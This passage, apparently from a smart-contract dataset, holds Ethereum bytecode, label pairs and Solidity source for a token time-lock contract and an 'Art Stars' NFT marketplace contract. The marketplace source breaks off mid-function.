ffffffffffffffff0000000000000000ffffffffffffffffffffffffffffffff81167001000000000000000000000000000000009182900484166001908101851690920217909155865188865260049094528285208054600160e01b9588166001600160e01b031990911617600160a01b4290941693909302929092177fffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffff16939093179055908501808352912054909116611af757600054811015611af7578151600082815260046020908152604090912080549185015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b50805160405183916000916001600160a01b03909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a450506001805481019055565b6040805160608101825260008082526020820181905291810182905290548290811015611c4157600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b810467ffffffffffffffff1692820192909252600160e01b90910460ff16151591810182905290611c3f5780516001600160a01b031615611bd5579392505050565b5060001901600081815260046020908152604091829020825160608101845290546001600160a01b038116808352600160a01b820467ffffffffffffffff1693830193909352600160e01b900460ff1615159281019290925215611c3a579392505050565b611bd5565b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600980546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610b13828260405180602001604052806000815250612159565b60006001600160a01b0384163b15611e0057836001600160a01b031663150b7a02611d1561147f565b8786866040518563ffffffff1660e01b8152600401611d3794939291906128c8565b6020604051808303816000875af1925050508015611d72575060408051601f3d908101601f19168201909252611d6f91810190612904565b60015b611dcd573d808015611da0576040519150601f19603f3d011682016040523d82523d6000602084013e611da5565b606091505b508051611dc5576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b0319167f150b7a020000000000000000000000000000000000000000000000000000000014905061118b565b506001949350505050565b606081611e2f5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611e595780611e4381612937565b9150611e529050600a83612968565b9150611e33565b60008167ffffffffffffffff811115611e7457611e74612511565b6040519080825280601f01601f191660200182016040528015611e9e576020820181803683370190505b5090505b841561118b57611eb360018361297c565b9150611ec0600a86612993565b611ecb9060306129a7565b60f81b818381518110611ee057611ee06129bf565b60200101906001600160f81b031916908160001a905350611f02600a86612968565b9450611ea2565b60006001600160e01b031982166380ac58cd60e01b1480611f3a57506001600160e01b03198216635b5e139f60e01b145b80611f5557506001600160e01b0319821663780e9d6360e01b145b8061076a57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b031983161461076a565b60606000611f9c8360026129d5565b611fa79060026129a7565b67ffffffffffffffff811115611fbf57611fbf612511565b6040519080825280601f01601f191660200182016040528015611fe9576020820181803683370190505b509050600360fc1b81600081518110612004576120046129bf565b60200101906001600160f81b031916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061204f5761204f6129bf565b60200101906001600160f81b031916908160001a90535060006120738460026129d5565b61207e9060016129a7565b90505b6001811115612103577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106120bf576120bf6129bf565b1a60f81b8282815181106120d5576120d56129bf565b60200101906001600160f81b031916908160001a90535060049490941c936120fc816129f4565b9050612081565b5083156121525760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610b00565b9392505050565b61092c83838360016000546001600160a01b0385166121a4576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b836121db576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b038516600081815260056020908152604080832080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000811667ffffffffffffffff8083168c0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168c018116909202179091558584526004909252822080546001600160e01b031916909317600160a01b42909216919091021790915581905b858110156123065760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48380156122dc57506122da6000888488611cec565b155b156122fa576040516368d2bf6b60e11b815260040160405180910390fd5b60019182019101612285565b506000556117ba565b82805461231b906126e4565b90600052602060002090601f01602090048101928261233d5760008555612383565b82601f1061235657805160ff1916838001178555612383565b82800160010185558215612383579182015b82811115612383578251825591602001919060010190612368565b5061238f929150612393565b5090565b5b8082111561238f5760008155600101612394565b6001600160e01b03198116811461129157600080fd5b6000602082840312156123d057600080fd5b8135612152816123a8565b60005b838110156123f65781810151838201526020016123de565b83811115610fa95750506000910152565b6000815180845261241f8160208601602086016123db565b601f01601f19169290920160200192915050565b6020815260006121526020830184612407565b60006020828403121561245857600080fd5b5035919050565b6001600160a01b038116811461129157600080fd5b6000806040838503121561248757600080fd5b82356124928161245f565b946020939093013593505050565b6000806000606084860312156124b557600080fd5b83356124c08161245f565b925060208401356124d08161245f565b929592945050506040919091013590565b600080604083850312156124f457600080fd5b8235915060208301356125068161245f565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561254257612542612511565b604051601f8501601f19908116603f0116810190828211818310171561256a5761256a612511565b8160405280935085815286868601111561258357600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156125af57600080fd5b813567ffffffffffffffff8111156125c657600080fd5b8201601f810184136125d757600080fd5b61118b84823560208401612527565b6000602082840312156125f857600080fd5b81356121528161245f565b6000806040838503121561261657600080fd5b82356126218161245f565b91506020830135801515811461250657600080fd5b6000806000806080858703121561264c57600080fd5b84356126578161245f565b935060208501356126678161245f565b925060408501359150606085013567ffffffffffffffff81111561268a57600080fd5b8501601f8101871361269b57600080fd5b6126aa87823560208401612527565b91505092959194509250565b600080604083850312156126c957600080fd5b82356126d48161245f565b915060208301356125068161245f565b600181811c908216806126f857607f821691505b6020821081141561271957634e487b7160e01b600052602260045260246000fd5b50919050565b600081516127318185602086016123db565b9290920192915050565b6000825161274d8184602087016123db565b9190910192915050565b600080845481600182811c91508083168061277357607f831692505b602080841082141561279357634e487b7160e01b86526022600452602486fd5b8180156127a757600181146127b8576127e5565b60ff198616895284890196506127e5565b60008b81526020902060005b868110156127dd5781548b8201529085019083016127c4565b505084890196505b5050505050506128216127f8828661271f565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000815260050190565b95945050505050565b60006020828403121561283c57600080fd5b81516121528161245f565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081526000835161287f8160178501602088016123db565b7f206973206d697373696e6720726f6c652000000000000000000000000000000060179184019182015283516128bc8160288401602088016123db565b01602801949350505050565b60006001600160a01b038087168352808616602084015250836040830152608060608301526128fa6080830184612407565b9695505050505050565b60006020828403121561291657600080fd5b8151612152816123a8565b634e487b7160e01b600052601160045260246000fd5b600060001982141561294b5761294b612921565b5060010190565b634e487b7160e01b600052601260045260246000fd5b60008261297757612977612952565b500490565b60008282101561298e5761298e612921565b500390565b6000826129a2576129a2612952565b500690565b600082198211156129ba576129ba612921565b500190565b634e487b7160e01b600052603260045260246000fd5b60008160001904831182151516156129ef576129ef612921565b500290565b600081612a0357612a03612921565b50600019019056fea2646970667358221220acfe40e7458d8012cd3e3820c7802b89f4663d766bba86d5aad38391a72728ea64736f6c634300080c0033
[ 5, 12 ]
0xf1be1180b6e11e412c1a71505d535d5062160a6c
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30499200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x4B664ef96353f580BAf7ed59BB1188Ca1F2B4Ed2; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058203f99e87150e1b4d54f89aeb3cdf889b34ec6f6352989a8d1feb46d65a4d08c5f0029
[ 16, 7 ]
0xf1beacdd81bc3af86b3ed8961db418a3a3b45063
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } } library Strings { bytes16 private constant alphabet = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(uint indexed index, address indexed minter); event Deposit(address indexed account, uint indexed amount); event Withdraw(address indexed account, uint indexed amount); event NewBid(address indexed bidder, uint indexed amount, uint indexed tokenId); event Trade(address indexed seller, address indexed buyer, uint indexed tokenId,uint amount); event SellNft(address indexed owner,uint indexed tokenId,uint indexed minPrice); event CancelSellNft(address indexed owner,uint indexed tokenId); event SaleIsStarted(); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } contract ERC721 is Context, ERC165, AccessControl, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; using SafeMath for uint256; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); string private _name; string private _symbol; string internal baseURI; uint internal price = 5 * 10 ** 15; uint256 internal tokensSold = 0; bool public _startSale = false; uint256 constant MAX_SUPPLY = 10000; address public royalty; mapping (uint => ForSale) public nftForSale; mapping (uint256 => address) private _owners; mapping (address => uint256) private _balances; mapping (uint256 => address) private _tokenApprovals; mapping (address => mapping (address => bool)) private _operatorApprovals; mapping (uint256 => string) private _tokenURIs; mapping (address => uint256[]) public tokensPerOwner; mapping(address => uint256[]) internal ownerToIds; mapping(uint256 => uint256) internal idToOwnerIndex; struct ForSale { uint nft_uid; address owner; address bidder; uint minValue; uint highestBid; } constructor (string memory name_, string memory symbol_,string memory baseURI_,address _royalty) { _name = name_; _symbol = symbol_; baseURI = baseURI_; royalty = _royalty; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165, AccessControl) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view returns (uint256) { return tokensSold; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(_baseURI(), _tokenURIs[tokenId])); } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _addNFToken(address _to, uint256 _tokenId) internal { require(_owners[_tokenId] == address(0), "Cannot add, already owned."); _owners[_tokenId] = _to; ownerToIds[_to].push(_tokenId); idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1); } function _removeNFToken(address _from, uint256 _tokenId) internal { require(_owners[_tokenId] == _from, "Incorrect owner."); delete _owners[_tokenId]; delete nftForSale[_tokenId]; uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId]; uint256 lastTokenIndex = ownerToIds[_from].length.sub(1); if (lastTokenIndex != tokenToRemoveIndex) { uint256 lastToken = ownerToIds[_from][lastTokenIndex]; ownerToIds[_from][tokenToRemoveIndex] = lastToken; idToOwnerIndex[lastToken] = tokenToRemoveIndex; } ownerToIds[_from].pop(); emit CancelSellNft(_msgSender(),_tokenId); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; tokensSold += 1; tokensPerOwner[to].push(tokenId); _addNFToken(to, tokenId); emit Mint(tokenId, to); emit Transfer(address(0), to, tokenId); } function devMint(uint count, address recipient) external { require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI"); require(tokensSold+count <=10000, "The tokens limit has reached."); for (uint i = 0; i < count; i++) { uint256 _tokenId = tokensSold + 1; _mint(recipient, _tokenId); } } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; tokensPerOwner[owner].push(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _removeNFToken(from, tokenId); _addNFToken(to, tokenId); _balances[from] -= 1; _balances[to] += 1; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } contract ArtStars is ERC721 { using Strings for uint256; using SafeMath for uint256; bool private lock = false; bool public contractPaused; uint256 constant CONTRACT_ROYALTY = 2;//Contract royalty in percent mapping (address => uint256) public ethBalance; constructor() ERC721("Art Stars", "ARTSTR", " https://unencrypted.digital/json/" ,address(0x4204BfFf4752E288f886F8FB06CEecb4c813929f)) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } modifier nonReentrant { require(!lock, "ReentrancyGuard: reentrant call"); lock = true; _; lock = false; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) { return super.supportsInterface(interfaceId); } function pauseContract(bool _paused) external { require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to pause the contract"); contractPaused = _paused; } function setBaseURI(string memory newURI) public returns (bool) { require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI"); baseURI = newURI; return true; } function changeRoyaltyAddr(address _newRoyaltyAddr) public returns(bool){ require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change royalty address"); royalty = _newRoyaltyAddr; return true; } function setTokenURI(uint[] memory tokenIds,string[] memory hashes) external returns(bool){ require(hasRole(ADMIN_ROLE,_msgSender()), "You must have minter or an admin role to change tokenURI"); require(tokenIds.length == hashes.length,"Wrong count of tokenIds or hashes"); for (uint8 i=0;i<tokenIds.length;i++){ _setTokenURI(tokenIds[i],hashes[i]); } return true; } function getTokensByOwner(address _owner) public view returns (uint256[] memory){ return ownerToIds[_owner]; } function toSellNFT(uint tokenId, uint minPrice) public returns (bool){ require(_isApprovedOrOwner(_msgSender(), tokenId), "The seller is not owner or approved"); nftForSale[tokenId] =ForSale(tokenId,_msgSender(),address(0),minPrice,0); emit SellNft(_msgSender(),tokenId,minPrice); return true; } function toCancelSaleOfNFT(uint tokenId) public returns (bool){ require(_isApprovedOrOwner(_msgSender(), tokenId), "The seller is not owner or approved"); delete nftForSale[tokenId]; emit CancelSellNft(_msgSender(),tokenId); return true; } function toMakeBid(uint tokenId) public payable nonReentrant returns(bool){ require(_exists(tokenId), "The token is nonexistent"); ForSale memory order = nftForSale[tokenId]; require(order.owner != address(0),"The token is not for sale"); require(!_isApprovedOrOwner(_msgSender(), tokenId), "The owner can't make bid"); if (order.bidder == _msgSender()){ require(msg.value > 0,"Insufficient funds to make bid"); order.highestBid = order.highestBid.add(msg.value); } else{ require(msg.value >= order.minValue && msg.value > order.highestBid, "Insufficient funds to make bid"); order.highestBid = msg.value; order.bidder = _msgSender(); } ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value); nftForSale[tokenId] = order; emit Deposit(_msgSender(),msg.value); emit NewBid(_msgSender(),order.highestBid,tokenId); return true; } function toAcceptBid(uint tokenId) public nonReentrant returns(bool){ require(!contractPaused); require(_exists(tokenId), "The token is nonexistent"); ForSale memory order = nftForSale[tokenId]; require(order.owner != address(0),"The token is not for sale"); require(_isApprovedOrOwner(_msgSender(), tokenId), "Only owner or approved can accept the bid"); require(ethBalance[order.bidder] >= order.highestBid,"Insufficient funds of the bidder balance"); delete nftForSale[tokenId]; uint256 total_royalty = order.highestBid / 100 * CONTRACT_ROYALTY; ethBalance[order.bidder] = ethBalance[order.bidder].sub(order.highestBid); ethBalance[_msgSender()] = ethBalance[_msgSender()].add(order.highestBid); ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(total_royalty); (bool success, ) = royalty.call{value:total_royalty}(""); require(success); _transfer(order.owner,order.bidder,tokenId); emit CancelSellNft(_msgSender(),tokenId); emit Trade(_msgSender(),order.bidder,order.highestBid,tokenId); emit Transfer(order.owner,order.bidder,tokenId); return true; } function startSale() external { require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI"); require(!_startSale); _startSale = true; emit SaleIsStarted(); } function buyNFT()external payable nonReentrant returns(bool, uint){ require(!contractPaused); require(_startSale, "The sale hasn't started."); require(tokensSold+1 <=10000, "The tokens limit has reached."); require(msg.value >= price, "Insufficient funds to purchase."); (bool success, ) = royalty.call{value:msg.value}(""); require(success); uint _tokenId = tokensSold + 1; _mint(_msgSender(), _tokenId); return (true,_tokenId); } function withdraw(uint amount) external nonReentrant { require(!contractPaused); require(amount <= 